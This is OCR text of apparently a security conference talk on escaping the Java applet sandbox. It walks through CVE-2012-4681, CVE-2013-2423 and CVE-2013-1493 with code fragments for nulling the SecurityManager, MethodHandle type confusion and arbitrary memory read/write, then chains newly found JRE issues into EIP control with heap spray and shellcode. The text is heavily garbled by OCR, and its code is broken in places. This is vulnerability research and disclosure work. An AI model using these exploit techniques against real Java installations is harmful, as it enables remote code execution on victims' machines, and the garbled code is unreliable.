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Abstract

® Lxplolting Applet
® JR.
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Security Components

® JR.

L]

Vulnerabillity
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® Hunti1ng bugs in JR

® What’ s next
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FExplolting Apple-

JDK/JRE/JVM

Java Applet

<applet code=‘exploit.class’>
No DEP & ASLR Under JRE 6

Objective: Oracle JRE/Apple JRE/
OpenJDK in Windows/Linux/Mac 0S X
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xploiting Apple:

® JRE

® 2dobe Reader/Acrobat
® 2Adobe Flash

® MS IE

@® Others

Data from Java als Sicherheitsrisiko by Renato Ettisberger in 2011.
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Security Componen-

remote code (Applet)

(1 do whatever | want! n
E 7 ___1{{ usie

e —

—( Free mel)

local code

valuable resources

Comic from Security Issues of the Sandbox inside Java Virtual Machine (JVM) by
Mohammad Shouaib Hashemi in 2010.
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Sandbox Res

® Commands

® Socket

® T.oad libraries

cric

Read/Write local files

Get system properties

ti1on
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Security Componen:

Classloader
SecuriltyManager
doPrivileged block
Reflection

Package Access



Classl.oader

BootStrap Trust all
Classloader C the classes
it loaded

1

Extension
Classloader

Application
Classloader

Custom
Classloader




SecurltyManager

Key component of security checks
1n local Java Applications

sun.applet.AppletSecurity 1n
Applets by default

System.setSecurityManager ( )

Find a way setting SecurityManager
to



doPrivileged block

Function Stack Function Stack
check AccessController. AccessController.

checkPermission () checkPermission ()
stop

Exception




Reflection

Get Class/Method/Constructor/Field
object of a class

Field: get/set
Constructor: newlInstance
Method: i1nvoke

Java /: MethodType & MethodHandle



Package Access

8 2

Warnings 1n IDE like Eclipse
checkPackageAccess before execute

Security.getProperty (“package.acce
SS”)

Simple but effective



JRE Vulnerability

® APT Design Vulnerability

® Unsafe use of reflect API
® (CVE-2012-40681

® (CVE-2013-2423

® Bugs 1n Native Code Written by C

® Overflow, etc.

® (CVE-2013-1493



CVE-2012-406051

® sun.awt.SunToolkit.getField

| ass, final String
fieldName) {
return|AccessController.doPrivileged|(new
PrivilegedAction<Field> () {
public Field run() {
try { T
Field field klassLgotDoclarodField(fioldName);
assert (field != null);
fieldlsetAccessible (true)|;
return field;
} catch (SecurityException e) {
assert false;
} catch (NoSuchFieldException e) {
assert false;

}

return null;




CVE-2012-406051

\\ 44

® java.beans.Statement field “acc
® Statement s = new
Statement (Java.lang.System.class,
“setSecurityManager”, new Object[] { null });

® s.executel();

lprivate) final AccessControlContext (acc)=

AccessController.getContext () ;




CVE-2012-4681

® Privileged “acc”

Permissions permissions = new Permissions();

permissions.add(new’AllPermissionM));

ProtectionDomain protectiondomain = new ProtectionDomain (

new CodeSource(newYURL("file:///"), new
Certificate[0]), -
permissions) ;
AccessControlContext accesscontrolcontext =
AccessControlContext (

new ProtectionDomain[] { protectiondomain });



CVE-2012-4681

\\

Get private field “acc” with
vulnerable method “getField”

field.set

Construct a “set-securityManager-
null” Statement

statement.execute ()



CVE-2013-2423

® In JVM. ..

® “i1nt” takes 4 bytes
® “long” takes 8 bytes
® “Object” takes 4 bytes
® I'ield “Type” in Integer/Long

® JVM knows variables’ type according to field
“Type” in class Integer/Long/Float/Double/...

® Type confusion? How?

® 1 “int” + 1 “Object” = 1 “long”



CVE-2013-2423

Step 1. Helper classes

class Unionl {
int fieldl;
Object field?2;

}

class Union2 {
int fieldl;

{

SystemClass fie

}
class SystemClass
Object f1,
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Step 2. Type confusion

MethodHandle mhl, mhZ2; |
= MethodHandles. lookup() JfindStaticSetterlLong.class,

MethodHandles. looku

.class.getDeclaredField("fiel
».class.getDeclaredField("fiel

Class<Integer> classInt = int.class;
s<Long> classLong = long.class;

mhl.invokeExactl(int.class) ;

mh2.1invokeExactl( (Class<?>) null);

Unionl ul = new Unionl ()
ul.field2 =|System.class;]
Union2 u2 = new Union?():
f1d2 {set)(u2, fldl.get(ul)):;
mhl.invokeExact (classLong);
mh2 .1nvokeExact (class

)
l/ .




CVE-2013-2423

Step 3. Find & Set

if (u2.field2.f29 == System.getSecurityManager()) {
u2.field2.£29 = null;

} else if (u2.field2.f30 == System.getSecurityManager()) {
u2.field2.£f30 = null;

} else {
System.out.println("security manager field not found");

}




CVE-2013-1493

What happened 1f “new 1nt[8GB]”
occurs?

Fvervthing 1s an Object 1in 0O

Galning each Object 1n whole
memory of the JVM

Exploiting Java bilig array



CVE-2013-1493

jJjava.awt.image.ColorConvertOp.filter

SIS ¢ Ol iojaRe Gl a1l sSiFCinNee. | S Een v c s

[native]sun.awt.color.CMM.cmmColorConver

J s niiawsfcoltorgi @M ecmmEe iomnCanc =t

(: initImagelayouts

iR e 1 d=H o IR AT BRAAL ke

(theNumArrays > theLayout->NumChannels) {

/* there is an alpha channel */

il = theLayout->NumChannels;

*theAlphaPtrP = ((KpUInt8 p)
arrayMap->info[theArrayIndices[11]]

.addr) +
theOffsets([il];



CVE-2013-1493

Create all needed objects

Heap spray (make the theAlphaPtrP
avallable)

ColorConvertOp.filter

F1ind the location of “length” of
bigArray

Assign OxX7FFFFFFF to “length”



CVE-2013-1493

getBigArray () ;

getMemBase () ;

long sys = getAddress (System.class);

long sm = getAddres: stem.getSecurityManager())
sys = rdMem(sys +

for (int 1 = 0; 3 OOOOO i++) |

long addr = s
int val =
1f (val == s
wrMem (addr,
1f (Sy stem.getSecurityManager() == null)




Hunting bugs in JR

® Key polnts to 2 kinds of JRE
Vulnerability

® APT Design Vulnerability

® Bugs 1n Native Code Written by C

® Target JRE versions
® Whitebox auditing / Fuzzing

® Discovered bugs & exploitations

® Tssue #1~#5

e



Hunting bugs in JR

e

® Key polnts to hunting API Design
Vulnerabilities

Trusted 1invoke chain
for exploiting

surround with

® Key points to hunting Bugs 1in
Native Code Written by C

Trusted invoke chain

Fuzzing



Hunting API Design

Vulnerabilities

® Target JRE versions

® OpenJDK 6/7 (available source code)

® Reversing of Oracle JRE & Apple JRE (rt.jar; jad)

® Whitebox auditing

® Secarching for “doPrivileged”
® 435 classes 1n OpendDK 6
® (634 classes 1n OpendDK 7/

® 341 classes 1n Apple JRE 6u27



Hunting Bugs 1in
Native Code

® Target JRE versions

® OpendDK 7 (available source code)

® Whitebox auditing

® Searching for “native”
® Taking “invoke chain” into consideration
® 65 native API to fuzzing

® F'uzzing

® Replacing params for dumb fuzzing



Issue #1

® Discovered 1in OpendDK 7-bl47/

® sun.awt.SunToolkit.getSystemProper
Ly

® Sensitive 1nfo leak

lpublic static|String getSystemProperty(final [String key) ({
return (String)|AccessController.doPrivileged|new
PrivilegedAction () {
public Object run() {

return System|getPropertyfkey);




Issue #2

Discovered 1n Apple JRE 6buZ2/7 under Mac OS
X 10.6.8

com.sun.org.apache.xalan.internal.uti1ls.S
ecurlitySupport.getSystemProperty

Sensitive 1nfo leak

lpublic static]String getSystemProperty (String s) ({
return (String)|AccessController.doPrivileged|(new
PrivilegedAction(s) {
final String propName;
public Object run() {
return System.JgetPro

pertylpropName) ;

-~

propName = s;
super () ;




Issue #2
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Issue #3

® Discovered 1n Apple JRE 6bu2’/7 under Mac OS
X 10.6.8

® com.apple.eio.FileManager.moveToTrash

® '1le probe

public static|boolean moveToTrash (Eile file)
throws FileNotFoundException

{

if (file == null || !'Yfile.exists|())
lthrow new FileNotFoundException|():;
String s = file.getAbsolutePath():;

SecurityManager securitymanager =
System.getSecurityManager () ;
if (securitymanager != null)
securitymanager stheckWritexs) ;
return moveToTrash(s);
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Java Applet - 192.168.0.48

My applet starting page

192.168.0.458




Issue #4

® Discovered 1n Apple JRE b6u27

® Exploitable under Oracle JRE 7ub as well
(Windows or Mac 0OS X)

® com.sun.org.apache.xalan.internal.uti1ls.O
bjectFactory.findProviderClass

® Getting any class object

lpublic static|Class findProviderClass (String s} boolean flag)
throws ClassNotFoundException, ConfigurationError
{

if (System.getSecurityManager () != null)

N

return |Class.forName(s) ;

else
return findProviderClass (s, findClassLoader (), flag):




Tssue #5

® Discovered 1n Oracle JRE 7ub

® sun.javald.DefaultDisposerRecord.invokeNa
tiveDispose

® Taking over of EIP & EAX

® Class.forName 1n trusted code 1s needed

public static native void invokeNativeDispose (long
disposerMethodPointer, long dataPointer);

Call This
Address (EIP)




Exploi- [ ssue #4+;

1
@,

® Lxpression of findProviderClass

® Galning class object of
invokeNativeDispose

® Heap spray: new bytel|[large]
® I'1111ng shellcode

® Assigning EIP param




Demo



What’ s Nex-
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® Bypass “click—-and-play” after 7ud

® Socilial Engineering

® TJToad “.ser” file under Oracle JRE 7ul0

® ['1le type resolving bugs 1n native
code

® Pwn’Zown 2013. Java Memory Corruption in resolving
“.otf” files

® Smart Fuzzing & Program Analysis
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